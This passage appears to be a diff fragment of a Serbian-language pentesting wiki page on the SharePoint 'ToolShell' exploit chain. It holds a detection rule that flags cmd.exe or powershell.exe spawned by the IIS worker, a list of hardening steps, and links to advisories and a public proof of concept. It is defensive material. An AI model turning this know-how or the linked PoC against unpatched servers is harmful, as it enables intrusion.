| Javne PoCs pozivaju ovu stranicu | + +Primer XDR / Sysmon pravila (pseudo-XQL): +``` +proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe") +``` +## 5. Ojačavanje i ublažavanje + +1. **Patch** – Jul 2025 bezbednosne ispravke rešavaju *sve* četiri CVE. +2. **Rotirajte** svaki `` i `ViewState` tajne nakon kompromitacije. +3. Uklonite *LAYOUTS* dozvolu za pisanje iz `WSS_WPG` i `WSS_ADMIN_WPG` grupa. +4. Blokirajte spoljašnji pristup `/_layouts/15/ToolPane.aspx` na proxy/WAF nivou. +5. Omogućite **ViewStateUserKey**, **MAC enabled**, i prilagođeni *EventValidation*. + +## Povezani trikovi + +* IIS post-ekspolatacija i zloupotreba web.config: +{{#ref}} +../../network-services-pentesting/pentesting-web/iis-internet-information-services.md +{{#endref}} + +## Reference + +- [Unit42 – Aktivna eksploatacija ranjivosti Microsoft SharePoint-a](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) +- [GitHub PoC – ToolShell lanac eksploatacije](https://github.com/real-or-not/ToolShell) +- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) +- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) + +{{#include ../../banners/hacktricks-training.md}}